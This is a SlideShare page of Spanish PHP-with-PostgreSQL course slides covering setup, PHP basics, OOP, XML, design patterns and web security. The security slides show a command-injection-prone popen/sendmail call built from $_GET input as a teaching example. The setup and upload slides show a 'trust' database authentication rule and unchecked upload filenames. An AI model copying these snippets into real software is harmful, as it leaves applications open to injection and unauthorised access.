PHP con PostgreSQL

 03/12/2007 al 07/12/2007
Presentación del Curso
Descripción:

      • Tema: PHP con conexión a BD Postgres


      • Horario: Lunes a Viernes de 15...
Presentación del Curso
Evaluación:
     • 2 pruebas teóricas
          • Duración: 20 a 30 minutos.
          • Días:     ...
Introducción
¿Qué es PHP?

    PHP es un lenguaje de programación usado normalmente para la
    creación de páginas web di...
Introducción
¿Qué es PostgreSQL?

    PostgreSQL es un servidor de base de datos objeto relacional
    libre, liberado baj...
Introducción
Requerimientos:

    • Un Servidor Web, por ejemplo Apache (http://httpd.apache.org)

    • Un intérprete PHP...
Introducción
Instalación de Apache y PHP:
     Inicialmente usaremos la instalación a través de RPMs de Apache,
     inclu...
Introducción
Instalación de PostgreSQL:

     Inicialmente usaremos la instalación a través de RPMs de
     postgresql, in...
Introducción
Configuración Básica de Apache:

     Los ficheros de configuración están en : /etc/httpd
     Los ficheros d...
Introducción
Configuración Básica de Apache:

     Después de los <IfModule *>

     Listen 192.168.1.100:80
     Listen 1...
Introducción
Configuración Básica de Apache:

     DirectoryIndex index.html index.php index.htm
     # El órden de búsque...
Introducción
Configuración Básica de Apache:

     NameVirtualHost 192.168.1.101:80
     <VirtualHost 192.168.1.101:80>
  ...
Introducción
Configuración Básica de PostgresSQL:

    Crear el primer usuario y base de datos:

    su – postgres
    psq...
Introducción
Configuración Básica de PostgresSQL:

    Editar el archivo /var/lib/pgsql/data/pg_hba.conf

    local all al...
Introducción a PHP
¡Hola Mundo!
    Crear el archivo /usr/local/cursophp/holamundo.php con el
    siguiente contenido:

  ...
Introducción a PHP
Tags Delimitadores de Código :
     El código PHP debe ir dentro de tags php, los cuales pueden ser
   ...
Introducción a PHP
Variables:
     PHP es un lenguaje débilmente tipado: el intértprete decidirá el tipo
     de la variab...
Introducción a PHP
Variables:
     Los nombres de las variables son Case Sensitive, un signo $
     delante del nombre adv...
Introducción a PHP
Strings:
     Los Strings en php se concatenan usando el operador . y pueden
     especificarse usando ...
Introducción a PHP
Vectores:
     En php existen 2 clases de vectores:
         • Escalares: cada posición es identificada...
Introducción a PHP
Sentencias de control:
     Falta completar




     PHP con Postgres – Linux Center – Jorge Arévalo – ...
Introducción a PHP
Funciones:
    Para definir una función, basta con escribir la palabra reservada
    function seguida d...
Introducción a PHP
Variables AutoGlobales:

     Desde la versión 4.1.0 de PHP existen un conjunto de vectores que
     co...
Introducción a PHP
Variables AutoGlobales:
     Estos vectores asociativos son:
     $GLOBALS         Contiene una referen...
Introducción a PHP
$_SERVER:
    'PHP_SELF‘

        El nombre de archivo del script ejecutándose actualmente, relativo
  ...
Introducción a PHP
$_SERVER:
    'REQUEST_METHOD'
        Cuál método de petición fue usado para acceder a la página; i.e....
Introducción a PHP
$_SERVER:
    'HTTP_USER_AGENT'
        Contenidos de la cabecera User_Agent: de la petición actual, si...
Introducción a PHP
$_COOKIE:
    Es un vector asociativo que contiene cada una de las cookies que el
    usuario tenga reg...
Introducción a PHP
$_SESSION:

    Se comienza una sesión (en caso de que aún no haya comenzado)
    con la función sessio...
Introducción a PHP
$_FILES:
    Cuando en un formulario HTML se envia un archivo, este copiado a
    una carpeta temporal ...
Introducción a PHP
$_FILES:
    Además también podemos conocer otros parámetros del fichero
    subido como por ejemplo el...
Introducción a PHP
$_FILES:
    Además también podemos conocer otros parámetros del fichero
    subido como por ejemplo el...
Orientación a Objetos
Introducción:

     La Programación Orientada a Objetos (POO u OOP según sus
     siglas en inglés) ...
Orientación a Objetos
Objetos:

     Los objetos son entidades que combinan estado, comportamiento e
     identidad. El es...
Orientación a Objetos
Clases:
     Corresponde a la definición de las propiedades (atributos) y
     comportamiento (métod...
Orientación a Objetos
Características: Abstracción

     Cada objeto en el sistema sirve como modelo de un quot;agentequot...
Orientación a Objetos
Características: Encapsulamiento

     Significa reunir a todos los elementos que pueden considerars...
Orientación a Objetos
Características: Ocultamiento
     Cada objeto está aislado del exterior, es un módulo natural, y ca...
Orientación a Objetos
Características: Polimorfismo
     Comportamientos diferentes, asociados a objetos distintos, pueden...
Orientación a Objetos
Características: Herencia
     Las clases no están aisladas, sino que se relacionan entre sí,
     f...
OOP en PHP
Creación de Clases:
     Se debe seguir la siguiente estructura para crear una clase:

     <? class NombreDeCl...
OOP en PHP
Instanciación:
     Para crear un objeto desde una clase, lo hacemos mediante el
     operador new:

          ...
OOP en PHP
Herencia:
     Para diseñar una clase que herede de (o extienda a) otra clase
     debemos usar la palabra clav...
OOP en PHP
Ejercicio:

     1. Diseñar una clase que represente a un contacto dentro de nuestra
        agenda.

     2. D...
Operadores de PHP
Aritméticos:
     $a + $b             Suma
     $a - $b             Resta
     $a * $b             Multi...
Operadores de PHP
Comparación:
    $a == $b            Igual
    $a === $b           Idéntico
    $a != $b            Dist...
Operadores de PHP
Lógicos:
    $a and $b           AND
    $a or $b            OR
    $a xor $b           XOR
    ! $a    ...
PostgreSQL
Introducción:
     • Es un gestor de base de datos relacional

     • Es de codigo abierto bajo licencia BSD

 ...
PostgreSQL - Sentencias SQL
Creación de tablas:

                 create table contactos (
                 id INT,
      ...
PostgreSQL - Sentencias SQL
Modificación de tablas:

                 alter table contactos
                 add column te...
PostgreSQL - Sentencias SQL
Manejo registros:

                 insert into contactos
                 (id,nombre,edad,cor...
PostgreSQL - Sentencias SQL
Crear Consultas:

                select * from contactos
                where nombre like ‘J...
PostgreSQL desde PHP
Configuración:

         Debemos asegurarnos que el archivo php.ini
         (habitualmente en /usr/l...
PostgreSQL desde PHP
Ejemplo:
<?php
    $conexion_bd = pg_connect(quot;host=localhost dbname=web_database user=web_userquo...
PostgreSQL desde PHP
Ejemplo (Análisis):


       $conexion_bd = pg_connect(quot;host=localhost
       dbname=web_database...
PostgreSQL desde PHP
Ejemplo (Análisis – pg_connect):


      En esta cadena pueden definirse los siguientes parámetros:

...
PostgreSQL desde PHP
Ejemplo (Análisis):


       $conexion_bd = pg_connect(quot;host=localhost
       dbname=web_database...
PostgreSQL desde PHP
Ejemplo (Análisis):
          $consulta = 'SELECT * FROM autores';
          $resultado = pg_query($c...
PostgreSQL desde PHP
Ejemplo (Análisis):
  $linea = pg_fetch_array($resultado, null, PGSQL_ASSOC)
  En $linea almacenará l...
PostgreSQL desde PHP
Ejemplo (Análisis – manejar resultados):

  Existen otras funciones que nos permiten recuperar los re...
PostgreSQL desde PHP
Ejemplo (Análisis – manejar resultados):


  • pg_fetch_object Devuelve una fila del resultado en for...
PostgreSQL desde PHP
Ejemplo (Análisis – manejar resultados):



        Tenemos también la función pg_num_rows($result)
 ...
PostgreSQL desde PHP
Ejemplo (Análisis):


  Será necesario liberar la memoria que estaba usando el conjunto de
  resultad...
PostgreSQL desde PHP
Ejercicio:


  Modificar nuestra agenda, de modo que se guarden los datos en la BD.




             ...
XML
Introducción:

    XML, sigla en inglés de eXtensible Markup Language, es un
    metalenguaje extensible de etiquetas ...
XML
¿Para qué sirve?:

    XML no ha nacido sólo para su aplicación en Internet, sino que se
    propone como un estándar ...
XML
Ventajas:
    • Es extensible, lo que quiere decir que una vez diseñado un
    lenguaje y puesto en producción, igual ...
XML
Ejemplo de XML:
  <?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot; ?>
  <!DOCTYPE Edit_Mensaje SYSTEM quot;Li...
XML
Ejemplo de DTD:
  <?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot; ?>
  <!-- Este es el DTD de Edit_Mensaje -...
XML
DTD:
  <!ELEMENT nombreElemento (sEl1*,sEl2+,sEl3?) >
          * Indica que el elemento puede aparecer 0 ó más veces
...
XML desde PHP
Ejemplo de XML:
  <?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot;?>
  <bloque>
          <noticia>...
XML desde PHP
Leer el archivo:
   <?
   //$ruta_fichero=quot;http://www.dominio.com/noticias.xmlquot;;
   $ruta_fichero=qu...
XML desde PHP
Procesar el XML:
   $tagnames = array (quot;tituloquot;,quot;autorquot;,quot;cuerpoquot;);
   if (!$xml = do...
XML desde PHP
Mostrar los Datos:


   <?
   $num_noticias=sizeof($matriz);
   for($i=0;$i<$num_noticias;$i++) {
          ...
Patrones de Diseño
Introducción:


   Los patrones de diseño (design patterns) son la base para la
   búsqueda de solucion...
Patrones de Diseño
Categorías:

   • Patrones arquitecturales: Aquéllos que expresan un esquema
   organizativo estructura...
Patrones de Diseño
Patrones estructurales:

    • Adapter (Adaptador): Adapta una interfaz para que pueda ser utilizada
  ...
Patrones de Diseño
Patrones estructurales:

    • Facade (Fachada): Provee de una interfaz unificada simple para
    acced...
Patrones de Diseño
Patrones de Comportamiento:

   • Chain of Responsibility (Cadena de responsabilidad): Permite
   estab...
Patrones de Diseño
Patrones de Comportamiento:

   • Mediator (Mediador): Define un objeto que coordine la comunicación
  ...
Patrones de Diseño
Patrones de Comportamiento:

   • Strategy (Estrategia): Permite disponer de varios métodos para
   res...
Patrones de Diseño
Patrones creacionales:

    •Abstract Factory (Fábrica abstracta): Permite trabajar con objetos de
    ...
Patrones de Diseño
Patrones creacionales:

    • Prototype (Prototipo): Crea nuevos objetos clonándolos de una
    instanc...
Seguridad
Definición:

    • Entendemos por aplicaciones web a todo aquél software que
    interacciona con el usuario uti...
Seguridad
Lineas frecuentes de ataques:

         • Saltarse las validaciones

         • Inyección de código

         • ...
Seguridad
Saltarse las validaciones - Objetivo:

         El objetivo es que la aplicación colapse, de una
         manera...
Seguridad
Saltarse las validaciones - ¿Cómo?:

         Existen 2 tipos de validación, la del lado del cliente y la
      ...
Seguridad
Validación en el servidor:

         PHP ofrece múltiples funciones para validar datos:

         • is_int(), is...
Seguridad
Inyección de código - Objetivo:

         Hacer que nuestro script ejecute algún código
         ingresado por e...
Seguridad
Inyección de código - ¿Cómo?:

        Generalmente a través de variables GET, POST o
        COOKIE, que no se ...
Seguridad
Inyección de código - ¿Cómo?:

<?php $fp = popen('/usr/sbin/sendmail -i '. $_GET[‘to’], 'w'); ?>

Se llama con e...
Seguridad
Inyección de código - ¿Cómo?:



        Los includes de scripts referenciados desde GET o
        POST no debie...
Seguridad
Inyección de código - ¿Cómo?:

      Supongamos que este codigo está dentro del módulo de
      mensajeria de nu...
Seguridad
Inyección de SQL - Objetivo:

      Alterar los datos en la base de datos para que ocurra alguna de las
      si...
Seguridad
Inyección de SQL - ¿Cómo?:

     Ingresando partes de sentencias sql de actualizacion de bd, en los
     paramet...
Seguridad
Inyección de SQL - ¿Cómo?:
     Otro ejemplo:
     $user_name=$_GET[‘u_name’];
     $pass=$_GET[‘password’];
   ...
Seguridad
XSS – Cross Site Scripting:


      La idea es reemplazar una direccion http por un codigo malicioso,
      perm...
Seguridad
Proteger el servidor web:

      Para esto debemos tener en cuenta lo siguiente:

      • Mientras el atacante m...
Seguridad
Proteger el servidor web:

      • El acceso remoto al servidor debe estar controlado por un firewall
      que ...
Seguridad
Medidas Concretas:

     • En httpd.conf setear safe_mode = On

     • Modificar la linea AddType applicaton/x-h...
Fin
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Fin del curso
Upcoming SlideShare
Loading in...5
×

Php Con Postgres

34,437

Published on

Curso de php con conexion a postgres, algo de arquitectura en oop y un poco de seguridad

Published in: Technology
2 Comments
7 Likes
Statistics
Notes
No Downloads
Views
Total Views
34,437
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
927
Comments
2
Likes
7
Embeds 0
No embeds

No notes for slide

Transcript of "Php Con Postgres"

  1. 1. PHP con PostgreSQL 03/12/2007 al 07/12/2007
  2. 2. Presentación del Curso Descripción: • Tema: PHP con conexión a BD Postgres • Horario: Lunes a Viernes de 15:00 a 18:30 y 19:30 a 22:00 • Instructor: Jorge Arévalo Bórquez – jaareval@uc.cl PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Presentación del Curso
  3. 3. Presentación del Curso Evaluación: • 2 pruebas teóricas • Duración: 20 a 30 minutos. • Días: Miércoles y Jueves. • Hora: 15:00 Su promedio valdrá el 50% de la nota final del curso. • 1 prueba práctica • Duración: 3 horas. • Día: Viernes • Hora: 18:00 Valdrá un 50% de la nota final del curso. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Presentación del Curso
  4. 4. Introducción ¿Qué es PHP? PHP es un lenguaje de programación usado normalmente para la creación de páginas web dinámicas. PHP es un acrónimo recursivo que significa quot;PHP Hypertext Pre-processorquot; (inicialmente PHP Tools, o, Personal Home Page Tools), y se trata de un lenguaje interpretado. Últimamente también puede ser utilizado para la creación de otro tipo de programas incluyendo aplicaciones con interfaz gráfica usando las librerías Qt o GTK+. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  5. 5. Introducción ¿Qué es PostgreSQL? PostgreSQL es un servidor de base de datos objeto relacional libre, liberado bajo la licencia BSD. Como muchos otros proyectos open source, el desarrollo de PostgreSQL no es manejado por una sola compañía sino que es dirigido por una comunidad de desarrolladores y organizaciones comerciales las cuales trabajan en su desarrollo, dicha comunidad es denominada el PGDG (PostgreSQL Global Development Group). PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  6. 6. Introducción Requerimientos: • Un Servidor Web, por ejemplo Apache (http://httpd.apache.org) • Un intérprete PHP (http://www.php.net) • Un Servidor de BD Postgres (http://www.postgresql.org, http://www.postgresql.cl) PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  7. 7. Introducción Instalación de Apache y PHP: Inicialmente usaremos la instalación a través de RPMs de Apache, incluyendo el módulo PHP. Más tarde compilaremos los fuentes de modo de optimizar la ejecución. Si no está instalada la interfaz gráfica de paquetes. ~ sudo yum install httpd httpd-devel httpd-suexec ~ sudo yum install php Probar en un navegador con la dirección http://localhost PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  8. 8. Introducción Instalación de PostgreSQL: Inicialmente usaremos la instalación a través de RPMs de postgresql, incluyendo el módulo para que PHP se pueda comunicar con PostgreSQL. Más tarde compilaremos los fuentes de modo de optimizar la ejecución. Si no está instalada la interfaz gráfica de paquetes. ~ sudo yum -y install postgresql postgresql-server php-pgsql PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  9. 9. Introducción Configuración Básica de Apache: Los ficheros de configuración están en : /etc/httpd Los ficheros de log en : /var/log/httpd Los ficheros de módulos en : /usr/lib/httpd/modules ~ sudo chkconfig httpd on El archivo de configuración principal de Apache es httpd.conf ServerTokens Prod # Lo queremos a Prod, para impeder que el resto de la gente sepa que versión de apache estamos utilizando PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  10. 10. Introducción Configuración Básica de Apache: Después de los <IfModule *> Listen 192.168.1.100:80 Listen 192.168.1.101:81 # Ponemos Apache a escuchar por la IP en la que vamos a servir el contenido Después de la lista de módulos ServerAdmin miemail@miservidordecorreo.com PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  11. 11. Introducción Configuración Básica de Apache: DirectoryIndex index.html index.php index.htm # El órden de búsqueda de documentos de apache Primero buscará el index.html, luego el index.php y luego el index.htm ServerSignature OFF # Para evitar mostrar la versión de apache en los ficheros de Error PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  12. 12. Introducción Configuración Básica de Apache: NameVirtualHost 192.168.1.101:80 <VirtualHost 192.168.1.101:80> ServerName cursophp.org ServerAlias *.cursophp.org DocumentRoot /usr/local/cursophp ErrorLog logs/cursophp.error.log CustomLog logs/cursophp.access.log combined ServerAdmin webmaster@cursophp.org </VirtualHost> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  13. 13. Introducción Configuración Básica de PostgresSQL: Crear el primer usuario y base de datos: su – postgres psql template1 psql# create user web_user; psql# create database web_database owner web_user; psql# q PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  14. 14. Introducción Configuración Básica de PostgresSQL: Editar el archivo /var/lib/pgsql/data/pg_hba.conf local all all trust Reiniciar el servidor /sbin/service postgresql restart Las base de datos se encuentran en: psql -U web_user web_database PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  15. 15. Introducción a PHP ¡Hola Mundo! Crear el archivo /usr/local/cursophp/holamundo.php con el siguiente contenido: <html> <head> <title>Ejemplo</title> </head> <body> <h3>Mi primer ejemplo php</h3> <?php echo quot;hola mundoquot;; ?> <hr> </body> </html> PHP con Postgres – Linux Center – Clase 1 – Introducción a PHP
  16. 16. Introducción a PHP Tags Delimitadores de Código : El código PHP debe ir dentro de tags php, los cuales pueden ser cualquiera de los siguientes: • <? ?> • <?php ?> • <script language=“php”></script> • <% %> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  17. 17. Introducción a PHP Variables: PHP es un lenguaje débilmente tipado: el intértprete decidirá el tipo de la variable según su contenido. Los principales tipos de datos que soporta son: • Enteros • Punto Flotante • Cadenas • Lógicos • Vectores • Objetos PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  18. 18. Introducción a PHP Variables: Los nombres de las variables son Case Sensitive, un signo $ delante del nombre advierte que es una variable (su uso es obligatorio). Pueden asignarse por valor y por refencia. Por valor: $a=$b; Por referencia: $a=&$b; Ya que el signo peso indica el uso de la variable que tiene como nombre el texto que le sigue, podemos tener “nombres de variables variables”. Ejemplo : $var=“mivariable”; $$var es equivalente a $mivariable PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  19. 19. Introducción a PHP Strings: Los Strings en php se concatenan usando el operador . y pueden especificarse usando comillas simples o dobles como delimitadores. Las comillas simples (‘’) hacen un uso literal de los caracteres que incluya. Las comillas dobles: reemplazarán las variables que aparezcan por sus valores, y los caracteres de escape estilo C (n, t, etc.) Para representar comillas dobles uso el carácter de escape ” PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  20. 20. Introducción a PHP Vectores: En php existen 2 clases de vectores: • Escalares: cada posición es identificada por un número. $a[0]=“Hola”; $a[1]=“Mundo”; $a[]=“!”; $b=array(“Hola”, “Mundo”, “!”); • Asociativos (Hash): cada elemento es identificado por una cadena $c[“nombre”]=“Silvia”; $c[“edad”]=21; $d=array(“nombre”=>”Silvia”, “edad”=>21); PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  21. 21. Introducción a PHP Sentencias de control: Falta completar PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  22. 22. Introducción a PHP Funciones: Para definir una función, basta con escribir la palabra reservada function seguida del nombre de la función y a continuación la lista de parámetros entre paréntesis. El cuerpo de la función se escribe, a continuación, entre llaves. Function miFunction($arg1, $arg2, … , $argN){ //Cuerpo de la función return $valorDeRetorno; } PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  23. 23. Introducción a PHP Variables AutoGlobales: Desde la versión 4.1.0 de PHP existen un conjunto de vectores que contienen variables de las transacciones HTTP, el servidor y el usuario. Estas son automáticamente accesibles desde cualquier script y desde cualquier parte de él. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
  24. 24. Introducción a PHP Variables AutoGlobales: Estos vectores asociativos son: $GLOBALS Contiene una referencia a cada variable accesible desde el script. $_SERVER Contiene información del servidor. $_GET Variables pasadas via HTTP GET. $_POST Variables pasadas al script vía HTTP POST. $_COOKIE Variables pasadas al script vía cookies HTTP. $_FILES Variables que controlan la subida de ficheros mediante HTTP. $_ENV Variables de entorno. $_REQUEST Une el contenido de $_GET, $_POST y $_COOKIE. $_SESSION Variables registradas en la sesión actual. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
  25. 25. Introducción a PHP $_SERVER: 'PHP_SELF‘ El nombre de archivo del script ejecutándose actualmente, relativo a la raíz de documentos. Por ejemplo, $_SERVER['PHP_SELF'] en un script en la dirección http://cursophp.org/test_php/prueba.php sería /test_php/prueba.php 'SERVER_NAME' El nombre del servidor anfitrión bajo el que está siendo ejecutado el script actual. Si el script está corriendo en un host virtual, éste será el valor definido para tal host virtual. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
  26. 26. Introducción a PHP $_SERVER: 'REQUEST_METHOD' Cuál método de petición fue usado para acceder a la página; i.e. 'GET', 'HEAD', 'POST‘. 'QUERY_STRING' La cadena de consulta, si existe, mediante la cual se accedió a la página 'DOCUMENT_ROOT' El directorio raíz de documentos bajo el que está siendo ejecutado el script actual, tal y como se define en el archivo de configuración del servidor. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
  27. 27. Introducción a PHP $_SERVER: 'HTTP_USER_AGENT' Contenidos de la cabecera User_Agent: de la petición actual, si existe. Esta es una cadena que denota el agente de usuario que está accediendo a la página. Un ejemplo típico es: Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586) 'REMOTE_ADDR' La dirección IP desde donde el usuario está observado la página actual. 'SCRIPT_FILENAME' La ruta absoluta del nombre del script siendo ejecutado actualmente PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
  28. 28. Introducción a PHP $_COOKIE: Es un vector asociativo que contiene cada una de las cookies que el usuario tenga registradas y hayan sido enviadas por el servidor en la cabecera http. Se crean con la función: setcookie(Nombre, Valor, Tiempo_Vida, Path, Dominio, Seguro); Si se crea una cookie con el nombre, path y dominio de otra, esta se reemplaza por la nueva. (En algunos casos, basta con que coincida el nombre. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
  29. 29. Introducción a PHP $_SESSION: Se comienza una sesión (en caso de que aún no haya comenzado) con la función session_start() ; Para borrar una variable ya asignada a sesión usamos: unset($_SESSION[“nombre_dato”]); Para terminar una sesión usamos: session_destroy(); PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
  30. 30. Introducción a PHP $_FILES: Cuando en un formulario HTML se envia un archivo, este copiado a una carpeta temporal en el servidor y envia la información en las cabeceras. PHP puede recuperar esta información mediante el arreglo asociativo $_FILES. Para guardarlo hacemos lo siguiente: <? $destino = 'uploaded' ; move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino . '/' . $_FILES [ 'file' ][ 'name' ]); ?> Donde $_FILES['file']['tmp_name'] identificara el archivo temporal subido al servidor, $destino, la carpeta en la que lo queremos mover y $_FILES['file']['name'] el nombre original del archivo. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
  31. 31. Introducción a PHP $_FILES: Además también podemos conocer otros parámetros del fichero subido como por ejemplo el tamaño, vamos a ver un ejemplo: <? $destino = 'uploaded' ; $tamano = $_FILES [ 'file' ][ 'size' ]; if( $tamano < 500 ){ move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino . '/' . $_FILES [ 'file' ][ 'name' ]); } else echo quot;El tamaño es superior al permitidoquot; ; ?> Tambien podemos saber el tipo de archivo subido con la siguiente variable: $_FILES['file']['type']; PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
  32. 32. Introducción a PHP $_FILES: Además también podemos conocer otros parámetros del fichero subido como por ejemplo el tamaño, vamos a ver un ejemplo: <? $destino = 'uploaded' ; $tamano = $_FILES [ 'file' ][ 'size' ]; if( $tamano < 500 ){ move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino . '/' . $_FILES [ 'file' ][ 'name' ]); } else echo quot;El tamaño es superior al permitidoquot; ; ?> Tambien podemos saber el tipo de archivo subido con la siguiente variable: $_FILES['file']['type']; PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
  33. 33. Orientación a Objetos Introducción: La Programación Orientada a Objetos (POO u OOP según sus siglas en inglés) es un paradigma de programación que usa objetos y sus interacciones para diseñar aplicaciones y programas de computadora. Está basado en varias técnicas, incluyendo herencia, modularidad, polimorfismo, y encapsulamiento. Su uso se popularizó a principios de la década de 1990. Actualmente varios lenguajes de programación soportan la orientación a objetos. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  34. 34. Orientación a Objetos Objetos: Los objetos son entidades que combinan estado, comportamiento e identidad. El estado está compuesto de datos, y el comportamiento por procedimientos o métodos. La identidad es una propiedad de un objeto que lo diferencia del resto. La programación orientada a objetos expresa un programa como un conjunto de estos objetos, que colaboran entre ellos para realizar tareas. Esto permite hacer los programas y módulos más fáciles de escribir, mantener y reutilizar. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  35. 35. Orientación a Objetos Clases: Corresponde a la definición de las propiedades (atributos) y comportamiento (métodos) de un tipo genérico de objetos. Al proceso de crear un objeto desde una clase se le conoce como instanciación. Debemos diferenciar, varios tipos de clases. En una primera instancia, veremos las clases concretas y las clases abstractas. Las primeras son clases que tienen como objetivo, ser instanciadas y por tanto, se convierten en un “tipo de datos especial” Las clases abstractas por el contrario, no se espera (y en muchos casos no se puede) que se instancien. Su objetivo es servir como base a nuevas clases más específicas. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  36. 36. Orientación a Objetos Características: Abstracción Cada objeto en el sistema sirve como modelo de un quot;agentequot; abstracto que puede realizar trabajo, informar y cambiar su estado, y quot;comunicarsequot; con otros objetos en el sistema sin revelar cómo se implementan estas características. Los procesos, las funciones o los métodos pueden también ser abstraídos y cuando lo están, una variedad de técnicas son requeridas para ampliar una abstracción. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  37. 37. Orientación a Objetos Características: Encapsulamiento Significa reunir a todos los elementos que pueden considerarse pertenecientes a una misma entidad, al mismo nivel de abstracción. Esto permite aumentar la cohesión de los componentes del sistema. Algunos autores confunden este concepto con el principio de ocultación, principalmente porque se suelen emplear conjuntamente. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  38. 38. Orientación a Objetos Características: Ocultamiento Cada objeto está aislado del exterior, es un módulo natural, y cada tipo de objeto expone una interfaz a otros objetos que especifica cómo pueden interactuar con los objetos de la clase. El aislamiento protege a las propiedades de un objeto contra su modificación por quien no tenga derecho a acceder a ellas, solamente los propios métodos internos del objeto pueden acceder a su estado. Esto asegura que otros objetos no pueden cambiar el estado interno de un objeto de maneras inesperadas, eliminando efectos secundarios e interacciones inesperadas. Algunos lenguajes relajan esto, permitiendo un acceso directo a los datos internos del objeto de una manera controlada y limitando el grado de abstracción. La aplicación entera se reduce a un agregado o rompecabezas de objetos. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  39. 39. Orientación a Objetos Características: Polimorfismo Comportamientos diferentes, asociados a objetos distintos, pueden compartir el mismo nombre, al llamarlos por ese nombre se utilizará el comportamiento correspondiente al objeto que se esté usando. O dicho de otro modo, las referencias y las colecciones de objetos pueden contener objetos de diferentes tipos, y la invocación de un comportamiento en una referencia producirá el comportamiento correcto para el tipo real del objeto referenciado. Cuando esto ocurre en quot;tiempo de ejecuciónquot;, esta última característica se llama asignación tardía o asignación dinámica. Algunos lenguajes proporcionan medios más estáticos (en quot;tiempo de compilaciónquot;) de polimorfismo, tales como las plantillas y la sobrecarga de operadores de C++. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  40. 40. Orientación a Objetos Características: Herencia Las clases no están aisladas, sino que se relacionan entre sí, formando una jerarquía de clasificación. Los objetos heredan las propiedades y el comportamiento de todas las clases a las que pertenecen. La herencia organiza y facilita el polimorfismo y el encapsulamiento permitiendo a los objetos ser definidos y creados como tipos especializados de objetos preexistentes. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  41. 41. OOP en PHP Creación de Clases: Se debe seguir la siguiente estructura para crear una clase: <? class NombreDeClase{ var $atributo1, $atributo2, …, $atributoN; function nombreDeClase($arg1, …, $argN){ //Constructor de la clase } function metodoNumero1($arg1, …, $argN){ } … function metodoNumero2($arg1, …, $argN){ } } ?> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
  42. 42. OOP en PHP Instanciación: Para crear un objeto desde una clase, lo hacemos mediante el operador new: $miObjeto=new NombreDeClase(arg1, …, argN); Para acceder a sus métodos, usamos el operador -> : $retorno=$miObjeto->metodoNumero1(arg1, …, argN); PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
  43. 43. OOP en PHP Herencia: Para diseñar una clase que herede de (o extienda a) otra clase debemos usar la palabra clave extends de la siguiente manera: class ClaseEspecifica extends ClasePadre{ var $nuevosAtributos; function ClaseEspecifica($arg1, …, $argN){ //constructor } function nuevoMetodo($arg1, …, $argN){ } } PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
  44. 44. OOP en PHP Ejercicio: 1. Diseñar una clase que represente a un contacto dentro de nuestra agenda. 2. Diseñar una clase que represente a la agenda. Lo anterior permitiendo que se guarden los datos en cookies como la última vez, pero delegando estas responsabilidades a quien corresponda. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
  45. 45. Operadores de PHP Aritméticos: $a + $b Suma $a - $b Resta $a * $b Multiplicación $a / $b División $a % $b Módulo (Resto de división entera) $a++ Incremento (Retorna después incrementa) ++$a Incremento (Incrementa después retorna) $a-- Decremento (Retorna después decrementa) --$a Decremento (Decrementa después retorna) $a+=$b Incrementa $a en $b unidades $a-=$b Decrementa $a en $b unidades PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores
  46. 46. Operadores de PHP Comparación: $a == $b Igual $a === $b Idéntico $a != $b Distinto $a <> $b Distinto $a !== $b No idéntico $a < $b Menor que $a > $b Mayor que $a <= $b Menor o igual que $a >= $b Mayor o igual que PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores
